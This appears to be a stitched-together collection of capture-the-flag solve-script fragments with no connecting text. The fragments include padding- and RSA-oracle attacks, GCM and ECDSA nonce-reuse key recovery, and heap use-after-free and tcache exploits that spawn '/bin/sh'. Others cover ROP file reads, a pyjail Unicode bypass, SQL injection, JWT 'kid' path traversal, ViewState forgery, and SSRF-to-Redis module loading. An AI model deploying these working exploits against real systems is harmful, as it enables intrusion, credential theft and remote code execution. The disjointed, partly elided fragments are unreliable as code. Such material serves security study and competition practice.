def query_batch(self, cs):
    """Send all ciphertexts, return list of booleans."""
    buf = b''.join(self._enc(c) for c in cs)
    self.s.sendall(buf)
    out = []
    for _ in cs:
        line = self.f.readline()
        out.append(line.strip() == b'OK')
    self.count += len(cs)
    return out

def search(s_start, step=1):
    """Increment s from s_start until oracle says OK."""
    s = mpz(s_start)
    while True:
        cands = [s + i * step for i in range(BATCH)]
        cs = [(c * powmod(x, e, n)) % n for x in cands]
        res = o.query_batch(cs)
        for i, ok in enumerate(res):
            if ok:
                return cands[i]
        s = cands[-1] + step

M = [(B2, B3 - 1)]
while True:
    ...
    newM = set()
    for a, b in M:
        rlo = ceildiv(a * s - B3 + 1, n)
        rhi = (b * s - B2) // n
        for r in range(int(rlo), int(rhi) + 1):
            na = max(a, ceildiv(B2 + r * n, s))
            nb = min(b, (B3 - 1 + r * n) // s)
            if na <= nb:
                newM.add((na, nb))
    M = sorted(newM)
    if len(M) == 1 and M[0][0] == M[0][1]:
        break

plaintext, ciphertext, tag = records[0]
keystream = xor_bytes(plaintext, ciphertext)
forged_ciphertext = xor_bytes(target, keystream)

def record_polynomial(ciphertext: bytes, tag: bytes) -> list[int]:
    """Return coefficients for GHASH(ciphertext) XOR tag, low degree first."""
    cipher_blocks = blocks(ciphertext)
    polynomial = [int.from_bytes(tag, "big"), len(ciphertext) * 8]
    polynomial.extend(reversed(cipher_blocks))
    return polynomial

polynomials = [record_polynomial(ct, tag) for _, ct, tag in records]
equation_one = poly_add(polynomials[0], polynomials[1])
equation_two = poly_add(polynomials[0], polynomials[2])
common = poly_gcd(equation_one, equation_two)
if len(common) != 2:
    raise ValueError(f"expected a linear GCD, got degree {len(common) - 1}")
authentication_key = common[0]

tag_mask = int.from_bytes(tag, "big") ^ ghash(ciphertext, authentication_key)
forged_tag = (tag_mask ^ ghash(forged_ciphertext, authentication_key)).to_bytes(16, "big")
stream.write(f"{forged_ciphertext.hex()} {forged_tag.hex()}\n".encode())

# The chip's TRNG hands us 8 bits at a time and the read is slow, so we
# shortened the loop a little. Still 10^69 possibilities, which is more atoms
# than there are in the observable universe, so this is completely fine.

NONCE_BYTES = 29

K = 1 << 232                                 # NONCE_BYTES = 29 → 232 bits
t, u = [], []
for sg in sigs:
    h  = int.from_bytes(hashlib.sha256(bytes.fromhex(sg["msg"])).digest(), "big")
    r, s = int(sg["r"], 16), int(sg["s"], 16)
    si = pow(s, -1, N)
    t.append(r * si % N)
    u.append((h * si - K // 2) % N)          # 置中：|k_i - K/2| <= K/2

dim = m + 2
Bm  = IntegerMatrix(dim, dim)
for i in range(m):
    Bm[i, i]     = N * N
    Bm[m, i]     = N * t[i]
    Bm[m + 1, i] = N * u[i]
Bm[m, m]         = K
Bm[m + 1, m + 1] = N * K

LLL.reduction(Bm)

d = None
for i in range(dim):
    for sign in (1, -1):
        if sign * Bm[i, m + 1] != N * K:        # 最後一個座標必須是 ±N*K
            continue
        cand = sign * Bm[i, m] // K % N         # 第 m+1 個座標 = d*K
        if mul(cand) == Q:                      # 用公鑰驗證：d*G == Q ?
            d = cand

key = hashlib.sha256(b"wallet-v1|" + d.to_bytes(32, "big")).digest()[:16]

def recover_key(Q, sig1, sig2):
    """Recover (k, d) from two signatures that share the nonce."""
    (m1, r, s1), (m2, r2, s2) = sig1, sig2
    assert r == r2, "nonces are not reused; this attack does not apply"
    z1, z2 = H(m1), H(m2)
    # A verifier that normalises s to low-s could have flipped either sign,
    # so try both candidates and keep the one that reproduces the public key.
    for sgn in (1, -1):
        denom = (s1 - sgn * s2) % N
        if denom == 0:
            continue
        k = (z1 - z2) * inv(denom, N) % N
        d = (s1 * k - z1) * inv(r, N) % N
        if mul(d, G) == Q:
            return k, d
    raise ValueError("key recovery failed")

r, s = sign(d, target, 0x1337)  # any nonce works once we own the key
assert verify(Q, target, r, s)
f.write(f"{r:064x} {s:064x}\n".encode())

for pad in range(1, BS + 1):
    pos = BS - pad
    plan, msgs = [], []
    for i in targets:
        R = bytearray(BS)
        for k in range(pos + 1, BS):
            R[k] = inter[i][k] ^ pad
        for v in range(256):
            R[pos] = v
            plan.append((i, v))
            msgs.append(bytes(R) + blocks[i])
    res = o.ask(msgs)

if pad == 1:
    # Disambiguate pad==1 false positives by perturbing the byte to the left.
    for i in targets:
        if len(hits[i]) > 1:
            for v in hits[i]:
                R = bytearray(BS)
                R[pos] = v
                R[pos - 1] ^= 0xFF

def crt(rq, rp):
    """Return the unique x mod p*q with x = rq (mod q) and x = rp (mod p)."""
    t = (rp - rq) * pow(q, -1, p) % p
    return (rq + q * t) % (p * q)

A = [crt(gamma[i], u[i]) for i in range(1, n + 1)]
B = [crt(lam[i], v[i]) for i in range(1, n + 1)]

# recentre so that every unknown lies in [-q/2, q/2): halves the target
K = q // 2
Bc = [(B[i] + A[i] * K - K) % N for i in range(n)]

IM = IntegerMatrix.from_matrix(M)
LLL.reduction(IM)

for row in range(dim):
    vec = [IM[row, c] for c in range(dim)]
    if abs(vec[-1]) != K:
        continue                       # not the target vector
    sign = 1 if vec[-1] == K else -1
    k0 = sign * vec[0] + K             # undo the recentring
    d = (k0 - alpha[0]) * b0i % q
    if mul(G, d) == pub:               # conclusive check: d*G == Q
        return d

def signed_modular_power(base: int, exponent: int, modulus: int) -> int:
    """Compute base**exponent mod modulus, including negative exponents."""
    if exponent < 0:
        base = pow(base, -1, modulus)
        exponent = -exponent
    return pow(base, exponent, modulus)

gcd, coefficient1, coefficient2 = extended_gcd(e1, e2)
plaintext_power = (
    signed_modular_power(c1, coefficient1, n)
    * signed_modular_power(c2, coefficient2, n)
) % n

plaintext, exact = integer_nth_root(plaintext_power, gcd)
if not exact:
    raise ValueError(f"Recovered m^{gcd} modulo n is not an exact integer {gcd}-th power")

CHARSET = "yaniko"
PWLEN = 14
N = len(CHARSET) ** PWLEN          # 6^14 = 78,364,164,096

CHAIN_LEN = 24576
NUM_CHAINS = N // CHAIN_LEN        # 3,188,646
TRUNC = 8
ENDBITS = (6 ** TRUNC - 1).bit_length()   # 21

RESIDENTS = ["yaniko", "yakuko", "hameko", "kaoruko", "aruko"]
K1 = None; K2 = None; K3 = None; K4 = None    # ← 被燒掉的四個種子

def reduce_at(h: bytes, i: int) -> str:
    x = int.from_bytes(h, "big")
    x = (x + i * RMIX1) & M40        # ← 注意這個 i
    x = ((x << 21) | (x >> 19)) & M40
    x = (x * RMIX2) & M40
    x ^= x >> 23
    n = x % N
    ...

def pick_targets(K, rng):
    out, used = [], set()
    while len(out) < len(RESIDENTS):
        pw = walk(idx_to_pw(rng.randrange(NUM_CHAINS)),
                  rng.randrange(CHAIN_LEN), K)      # ← 從隨機鏈走隨機步數

plaintexts = [pws[u] for u in g.RESIDENTS]
key = hashlib.sha256("|".join(plaintexts).encode()).digest()

blob = open("flag.enc", "rb").read()
tag, ct = blob[:16], blob[16:]
calc = hmac.new(key, b"YANI-TAG" + ct, hashlib.sha256).digest()[:16]
print("tag valid:", hmac.compare_digest(tag, calc))

pt = bytes(a ^ b for a, b in zip(ct, g.keystream(key, len(ct))))
print("FLAG:", pt.decode())

output = subprocess.check_output(
    ["tshark", "-r", "usb_capture.pcap", "-T", "fields", "-e", "usb.capdata"],
    text=True,
)

decoded = []
for line in output.splitlines():
    report = bytes.fromhex(line.strip())
    if report == bytes(8):
        continue

    modifier = report[0]
    keycode = report[2]
    shift_held = bool(modifier & 0x22)
    table = shifted if shift_held else normal
    decoded.append(table.get(keycode, f"<0x{keycode:02x}>"))

print("".join(decoded))

lat = [(34,1), (2,1), (174,5)]     # 34°02'34.8"N
lng = [(118,1), (16,1), (57,25)]   # 118°16'02.28"W

image = Image.open(io.BytesIO(image_data)).convert("RGB")
blue_values = image.tobytes()[2::3]
bits = [(value & 1) for value in blue_values[::BIT_STRIDE]]

decoded = bytearray()
for offset in range(0, len(bits) - 7, 8):
    encoded_byte = 0
    for bit in bits[offset : offset + 8]:
        encoded_byte = (encoded_byte << 1) | bit

    decoded_byte = encoded_byte ^ XOR_KEY
    decoded.append(decoded_byte)
    if decoded_byte == ord("}"):
        break

banned = {"print": print, "open": open, "chr": chr}

s = input(">> ")

if len(s) != 6767:
    exit("wrong length :(")
if any(c in s for c in "'\"_`\\#"):
    exit("that's not good :(")
if any(c.isascii() and c.isalnum() for c in s):
    exit("no no no!!!")
if s.count(";") > 1:
    exit("too many semicolons!")

for c in s:
    if c.isidentifier() and unicodedata.normalize("NFKC", c) == c:
        exit("bad:(((")

exec(s, {"__builtins__": banned}, {})

def to_mathematical_bold(text: str) -> str:
    """Convert ASCII characters to Mathematical Sans-Serif Bold Unicode characters.

    This bypasses ASCII alnum restrictions while NFKC normalizing back to
    original ASCII strings in Python exec.
    """
    result = ""
    for char in text:
        if "a" <= char <= "z":
            result += chr(ord(char) - ord("a") + 0x1D5BA)
        elif "A" <= char <= "Z":
            result += chr(ord(char) - ord("A") + 0x1D5A0)
        else:
            result += char
    return result

def build_number_expression(n: int, unit_expr: str) -> str:
    """Construct an integer expression for n using bitwise shift operators."""
    if n == 0:
        return f"({unit_expr}-{unit_expr})"

    terms = []
    for bit in range(n.bit_length()):
        if (n >> bit) & 1:
            if bit == 0:
                terms.append(unit_expr)
            else:
                shift_count = "+".join([unit_expr] * bit)
                terms.append(f"({unit_expr}<<({shift_count}))")
    return "+".join(terms)

unit_expr = f"({chr_bold}=={chr_bold})"  # Evaluates to 1 (True)
raw_payload = f"{print_bold}({open_bold}({file_str_expr}).{read_bold}())"
return raw_payload.ljust(TARGET_LENGTH, " ")

abbrev = "ori"
ra = "5h"
dec = "+5°"
flag = f"THJCC{{{abbrev}=RA{ra},Dec{dec}}}"

jumps = buzz_a + np.where(np.abs(np.diff(d[buzz_a:buzz_b, 0])) > 20000)[0]
period = int(np.median(np.diff(jumps)))
start = int(jumps[1]) + 1  # first sample after a jump = start of a frame

frame = d[start : start + period]
nxt = d[start + period : start + 2 * period]
assert np.array_equal(frame, nxt), "frames differ"

a = d[music_a : music_a + 3 * FS, 0]
best = max(
    range(-3000, 3001),
    key=lambda k: np.corrcoef(a, d[music_a + k : music_a + k + len(a), 1])[0, 1],
)

X = frame[:, 0]
Y = np.roll(frame[:, 1], -best)  # de-skew the stereo delay
shear = np.polyfit(X, Y, 1)[0]   # the text sits on a sloped baseline
Y = Y - shear * X

tt = np.linspace(0, period - 1, period * 12)
xi, yi = np.interp(tt, t, X), np.interp(tt, t, Y)
speed = np.hypot(np.diff(xi), np.diff(yi))
alpha = np.clip(12 / (speed + 0.5), 0, 1)

for cell in range(cell_count):
    cell_start = cell * cell_samples
    start = cell_start + round(ANALYSIS_START_SECONDS * sample_rate)
    end = cell_start + round(ANALYSIS_END_SECONDS * sample_rate)
    segment = samples[start:end]
    segment = (segment - segment.mean()) * np.hanning(len(segment))

    spectrum = np.abs(np.fft.rfft(segment))
    frequencies = np.fft.rfftfreq(len(segment), 1 / sample_rate)
    amplitudes = [
        nearest_bin_amplitude(spectrum, frequencies, frequency)
        for frequency in note_frequencies
    ]
    midi = FIRST_MIDI + int(np.argmax(amplitudes))
    decoded.append(midi)

def compile_ctfuck(payload: bytes) -> str:
    """CTFuck program whose stdout is `payload` (<= 13 bytes)."""
    bits = [(c >> i) & 1 for c in payload for i in range(8)]
    # the VM flushes the partial output byte on exit, so high zero bits of the
    # final byte need not be pushed
    drop = 0
    while drop < 7 and bits[-1 - drop] == 0:
        drop += 1
    src = "".join(map(str, bits[: len(bits) - drop])) + "\n.$[2|2]"
    assert len(src) <= MAX_SRC, f"{len(src)} > {MAX_SRC}"
    return src

s.sendall(compile_ctfuck(b"exec(input())").encode() + b"\nEOF\n")
time.sleep(0.3)
s.sendall(python_code.encode() + b"\n")

fmt = '{__fstring__}'
if node.format_spec is not None:
    fmt = f'{{__fstring__:{self.run(node.format_spec)}}}'
return safe_format(fmt, self.raise_exception, node, __fstring__=val)

def leak(c, path):
    """Render `WB<path>` through an injected second replacement field."""
    # spec = '}<<<M>>>{__fstring__' + path
    spec = '"}' + MARK + '{"+u*2+"fstring"+u*2+"' + path + '"'
    c.cmd("u=chr(95)")
    c.cmd("s=" + spec)
    out = c.cmd('f"{WB:{s}}"')
    return out.split(MARK)[-1]

audit = '.sheets"+chr(91)+"audit"+chr(93)+"'
print("audit owner   :", leak(c, audit + ".owner.name"))
print("guest token   :", leak(c, summary + ".owner.session.token.value"))
print("token repr    :", leak(c, audit + ".owner.session.token"))
print("FLAG          :", leak(c, audit + ".owner.session.token.value"))

data = res.content
body_offset = int.from_bytes(data[14:18], byteorder="little")
key_name = data[54:65].decode("ascii")
b64_body = data[body_offset:]

decoded_raw = base64.b64decode(b64_body)
key_bytes = key_name.encode("ascii")
decrypted_bytes = bytes(
    b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(decoded_raw)
)
creds = json.loads(decrypted_bytes.decode("utf-8"))

logs_url = f"{target_url}/api/system/logs?level=debug"
res_logs = session.get(logs_url)
for entry in res_logs.json().get("entries", []):
    if "THJCC{" in entry.get("message", ""):
        ...

def escapes(name: str) -> bool:
    if not name:
        return True
    if name.startswith("/") or os.path.isabs(name):
        return True
    return ".." in name.replace("\\", "/").split("/")

def verify_archive(path: str) -> None:
    if tarfile.is_tarfile(path):
        with tarfile.open(path) as tf:
            for member in tf.getmembers():
                if escapes(member.name):
                    raise UnsafeArchive(...)

KNOWN_NOTE = b"A" * 7

io.sendlineafter(b"leave a note:\n", KNOWN_NOTE)
io.recvuntil(b"receipt: 0x")
receipt = int(io.recvline().strip(), 16)
known_value = int.from_bytes(KNOWN_NOTE + b"\0", "little")
token = receipt ^ known_value

win = elf.symbols.get("win", 0x401246)
ret = 0x4010F0
payload = b"A" * 8
payload += p64(token)
payload += b"B" * 8
payload += p64(ret)
payload += p64(win)

io.sendlineafter(b"leave another note:\n", payload)

def salt_for(task_id):
    return rotl64((task_id * 0x9E3779B97F4A7C15) & M64, 17)

task_id = r.cmd("CHRONICLE.NEW", 60000, b"probe", b"probe")
show = r.cmd("CHRONICLE.SHOW", task_id)
ticket = show[3] & M64
commit = ticket ^ salt_for(task_id)
base = commit - OFF_COMMIT
if base % 0x1000:
    print("[!] offset guess wrong for this build; aborting before crashing the service")
    return 1

body = bytearray(b"A" * 80)                    # note[80]
body += struct.pack("<Q", materialize)         # completion
body += b"\x00" * (256 - len(body))            # result[] + workspace[]
archive = build_archive(10, b"restore", bytes(body))

pwned_id = r.cmd("CHRONICLE.IMPORT", bytes(archive))

payload = b""
for ch in range(256):
    payload += b"3\n%d\n%d\n" % (VICTIM, ch)
io.send(payload)
for _ in range(256):
    io.recvuntil(b"subscribed.")

# refcount is back to 1 -> this unsubscribe frees the message
unsubscribe(0)

leak = replay(STALE, 0x800)
unsorted = u64(leak[:8])
libc.address = unsorted - UNSORTED_OFF

def set_fake(ptr, size, rc=0x40):
    """Rewrite the freed header (== body of slot CTRL) with our own fields."""
    amend(CTRL_CH, b"A" * 0x20 + p64(ptr) + p64(size) + p64(rc))

def read_at(addr, size):
    set_fake(addr, size)
    return replay(STALE, size)

def write_at(addr, data):
    set_fake(addr, len(data))
    amend(STALE, data)

for i, path in enumerate(paths):
    call(libc.sym["open"], rdi=STR + str(i), rsi=0)
    words.extend([pop_rdx_rbx, scratch, 0, store_rax])   # scratch = fd
    call(libc.sym["write"], rdi=1, rsi=scratch, rdx=8)
    call(libc.sym["read"], rdi=3, rsi=buf, rdx=0x100)
    call(libc.sym["write"], rdi=1, rsi=buf, rdx=0x100)
    call(libc.sym["close"], rdi=3)

offset = 0x30 - 0x4          # rbp-0x30 相對於 rbp-0x4 = 44 bytes
payload = b"A" * offset + p32(0xBADF00D)

r = remote("chal.thjcc.org", 11037)
r.sendline(payload)
r.sendline(b"cat flag.txt")

cmd(io, "admit 0 0 1264 0")  # victim
cmd(io, "admit 1 0 1264 0")  # guard, stops consolidation with the top chunk
cmd(io, "select 0")
rec = show(io)
pie = u64(rec[0x18:0x20]) - OFF_SPECIES_CAT

cmd(io, "release 0")  # UAF: kennels[0].case_id survives
rec = show(io)
unsorted = u64(rec[0x00:0x08])
libc.address = unsorted - LIBC_UNSORTED

cmd(io, "release 2")  # tcache[5]: A   (A->next = PROTECT_PTR(A, NULL))
rec = show(io)
key = u64(rec[0x00:0x08])  # == A >> 12

target = pie + OFF_CMD_SHOW_FN
cmd(io, "revise 8", p64(key ^ target))  # tcache[5]: A -> &commands[4].fn
cmd(io, "admit 5 0 64 0")  # pops A

note = flat(
    {
        0x28: b"help\0",                     # commands[8].name
        0x38: p64(libc.symbols["system"]),   # commands[8].fn
    },
    length=0x40,
    filler=b"\xff",
)
cmd(io, "admit 6 0 64 64", note)
cmd(io, "help /bin/sh")

charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"

sock = socket.create_connection((HOST, PORT))
recv_until(sock, [b"password:"])
for c in charset:
    sock.sendall((c + "\n").encode())
    data = recv_until(sock, [b"Wrong password.", b"You input the right password"])
    if b"You input the right password" in data:
        print("SUCCESS with", repr(c))
        break

sock.sendall(b"cat flag.txt\n")

PROGRAM_CHUNKS = [
    0x1C0, 0x1B0, 0x160, 0x150, 0x120, 0x130, 0x180, 0x1E0, 0x190,
    0x1F0, 0x210, 0x220, 0x140, 0x200, 0x230, 0x170, 0x1A0, 0x1D0,
]

def load_program(binary: bytes) -> bytes:
    """Rebuild the VM program in the same shuffled order as the executable."""
    program = b"".join(binary[offset : offset + 16] for offset in PROGRAM_CHUNKS)
    return program + b"\x07"

elif opcode == 5:
    value = arg2
    source_index = None
    for operation, operand in reversed(operations[arg1]):
        if operation == 1:
            source_index = operand
        elif operation == 2:
            value ^= operand
        elif operation == 3:
            value = (value - operand) & 0xFF
        elif operation == 4:
            value = ror8(value, operand)
    recovered[source_index] = value

def decode_flag(binary: bytes) -> bytes:
    """Reproduce the success routine's two alternating XOR sequences."""
    encoded = binary[0x280:0x2A0]
    flag = bytearray(32)
    key = 0x35
    for offset in range(0, 32, 2):
        flag[offset] = encoded[offset] ^ ((key - 0x0D) & 0xFF)
        flag[offset + 1] = encoded[offset + 1] ^ key
        key = (key + 0x1A) & 0xFF
    return bytes(flag)

def xtea(v0, v1):
    s = 0
    for _ in range(32):
        v0 = (v0 + ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + key[s & 3]))) & M
        s = (s + DELTA) & M
        v1 = (v1 + ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + key[(s >> 11) & 3]))) & M
    return v0, v1

ks = bytearray()
blk = 0
while len(ks) < 0x2C4:
    ks += struct.pack("<II", *xtea((blk + 0xAFD9E340) & M, 0x1E403058))
    blk += 1
pay = bytes(c ^ k for c, k in zip(blob[0xB98:0xB98 + 0x2C4], ks))

h = 0x811C9DC5
for c in pay:
    h = ((h ^ c) * 0x01000193) & M
print("fnv1a = %#x" % h)

if op == 0x5B:                       # 跟隨跳躍、跳過垃圾
    tgt = pc + imm + 2
    out.append("%04x  %02x %02x     JMP -> %04x (skips %d junk: %s)"
               % (pc, op, imm, tgt, tgt - pc - 2, pay[pc + 2:tgt].hex()))
    pc = tgt
    continue

token = b'blackfrost-sWIEU"'
assert len(token) == 17
assert fnv1a_32(token) == TOKEN_HASH

def decrypt_capture(ciphertext: bytes) -> bytes:
    """Apply the byte-wise XOR loop used after parsing the BF2 response."""
    plaintext = bytearray()
    rolling = 0x5A
    for index, byte in enumerate(ciphertext):
        shift = (index * 8) & 0x18
        plaintext.append(byte ^ rolling ^ ((TOKEN_HASH >> shift) & 0xFF))
        rolling = (rolling + 0x11) & 0xFF
    return bytes(plaintext)

expected = b"campaign=BLACKFROST-26;nonce=4c2f17;directive=collect-only;"

repaired_ciphertext = bytearray(captured)
for index in range(40, 56):
    shift = (index * 8) & 0x18
    rolling = (0x5A + 0x11 * index) & 0xFF
    repaired_ciphertext[index] = (
        expected[index] ^ rolling ^ ((TOKEN_HASH >> shift) & 0xFF)
    )
assert decrypt_capture(repaired_ciphertext) == expected

def decode_flag():
    """Replicates the success-path loop at 0x201bc3."""
    out = {}
    j, key = 1, 0x7E
    while True:
        out[j - 1] = ((key - 0x0D) & 0xFF) ^ FLAG_BLOB[j - 1]
        if j == 0x1F:
            break
        out[j] = key ^ FLAG_BLOB[j]
        j += 2
        key = (key + 0x1A) & 0xFF
    return bytes(out[i] for i in sorted(out))

def invert_round(new, r):
    """Return every possible pre-state of round `r` (0 or 256 of them)."""
    d = []
    for i in range(24):
        kb = (K[r] >> ((i & 3) * 8)) & 0xFF
        d.append(ror(new[i], (i + r) % 7) ^ kb ^ ((i + 29 * r) & 0xFF))

    parity = 0
    for x in d:
        parity ^= x
    if parity:                      # inconsistent -> no pre-state exists
        return []

    out = []
    for seed in range(256):         # prev[0] is free; the 24-cycle fixes the rest
        prev = [0] * 24
        prev[0] = seed
        idx = 0
        for _ in range(23):
            nxt = (idx + 7) % 24
            prev[nxt] = prev[idx] ^ d[idx]
            idx = nxt
        out.append(prev)
    return out

# stage 1: per-index subtract (step 7) then XOR with the per-chunk key byte
stage1 = bytearray()
for i, ptr in enumerate(CHUNK_PTRS):
    chunk = rd(ptr, 12)
    for j in range(12):
        stage1.append(((chunk[j] - (0x19 + 7 * j)) & 0xFF) ^ key3[i])

# stage 2: rolling XOR against "hc_ehsna" indexed by (1 + 3*j) & 7
flag = bytes(stage1[j] ^ KEY8[(1 + 3 * j) & 7] for j in range(36))

data = bytes.fromhex(
    "67 08 07 19 24 0f f9 e1 e9 f7 d7 a3 bc b5 8a 85 "
    "5c 71 6f 4f 68 2a 3e 2a 34 15 e4 f5 f6 cf c4"
)
buf = [0] * 33
for k in range(16):                      # j = 2k+1, j 為奇數, 1 .. 31
    cl = (0x40 + k * 0x1a) & 0xFF        # 此輪的 keystream byte
    buf[2 * k + 1] = ((cl - 0x0D) & 0xFF) ^ data[2 * k]
    if k < 15:
        buf[2 * k + 2] = data[2 * k + 1] ^ cl
print("".join(chr(b) for b in buf[1:32]))

r = s.post(f"{TARGET}/upload", files={"avatar": ("a.png", PNG, "image/png")})
name = re.search(r"/uploads/([\w.\-]+)", r.text).group(1)

# Fetch it back so the signing key is byte-identical to what the server reads.
key = requests.get(f"{TARGET}/uploads/{name}").content

kid = f"../uploads/{name}"
token = jwt_sign(
    {"alg": "HS256", "typ": "JWT", "kid": kid},
    {"username": "admin", "role": "admin"},
    key,
)
ra = requests.get(f"{TARGET}/admin", cookies={"session": token})

def run_query(base: str, payload: str, tag: str) -> str:
    """Register a user whose *name* is `payload`, then read the report it produces."""
    username = f"{tag}' UNION SELECT {payload}--"
    s.post(f"{base}/signup", data={"username": username, ...})
    s.post(f"{base}/login", data={"username": username, "password": PASSWORD})
    s.post(f"{base}/generate_report")
    # The worker is a single serialised queue with a ~2 s delay per job.
    for _ in range(20):
        time.sleep(1)
        link = re.search(r"href='(/download_report/\d+)'", s.get(f"{base}/inbox").text)
        if link:
            return s.get(base + link.group(1)).text

schema = run_query(base, "name,sql,1 FROM sqlite_master", tag + "s")
# -> bjB0aDFuZ190MF9zMzNfaDNyMw==  (base64 of "n0th1ng_t0_s33_h3r3")
dump = run_query(base, f'name,value,1 FROM "{HIDDEN_TABLE}"', tag + "f")

def verify_key(viewstate_b64, key_hex):
    """Prove the MAC construction before relying on it.

    We split the server's own ViewState into body + trailing 20-byte SHA-1
    digest and check that HMAC-SHA1(key, body) reproduces that digest exactly.
    """
    raw = base64.b64decode(viewstate_b64)
    body, mac = raw[:-20], raw[-20:]
    return hmac.new(bytes.fromhex(key_hex), body, hashlib.sha1).digest() == mac, body, mac

def lenstr(value):
    """Serialize one string field the way this app's ViewState encodes them.
        0x01  type tag for "string"
        0xNN  length of the string in bytes
        ...   the raw bytes
    """
    raw = value.encode()
    return b"\x01" + bytes([len(raw)]) + raw

def build_payload(role, asset):
    return b"\xff\x01\x0c" + lenstr(role) + lenstr(asset)

forged = base64.b64encode(payload + sign(payload, key_hex)).decode()

print("[+] Step 2: confirm the uppercase-'Location:' redirect is also blocked")
st, body = get("http://r/b")

print("[+] Step 3: use the lowercase-'location:' redirect, which the check misses")
st, body = get("http://r/a")

print("[+] Step 3: use the dual-Location redirect; only the FIRST Location is checked")
st, body = get("http://r/a")

# "../" that survives the filter: '%' + '2' + FULLWIDTH SMALL LETTER E / F
DOTDOT_SLASH = "%25" + "2ｅ" + "%25" + "2ｅ" + "%25" + "2ｆ"

for depth in range(1, 9):
    payload = enc(DOTDOT_SLASH * depth) + "flag.txt"
    status, body = read(payload)
    print(f"[depth {depth}] HTTP {status}: {body.strip()[:80]}")
    if status == 200 and "THJCC{" in body:
        break

def redis(*commands, **kw):
    """Pipeline RESP commands to 127.0.0.1:6379 through the SSRF.

    `-h` and `-p` must be separate tokens: that form is handled by the server's
    own socket code, which preserves the payload byte for byte.
    """
    payload = "".join(resp(*c) for c in commands)
    return whois('-h 127.0.0.1 -p 6379 "%s"' % payload, **kw).get("output") or ""

# ELF ignores trailing bytes, and every printable line is a valid batch
# query: six lookups against an unroutable host burn 5 s each, holding the
# batch job -- and /tmp/<uuid> -- open past the MODULE LOAD below.
payload = so + b"\n" + b"\n".join([b"-h10.255.255.1 -p43 stall"] * 6) + b"\n"

stream, path = upload(payload)
threading.Thread(target=lambda: stream.read(), daemon=True).start()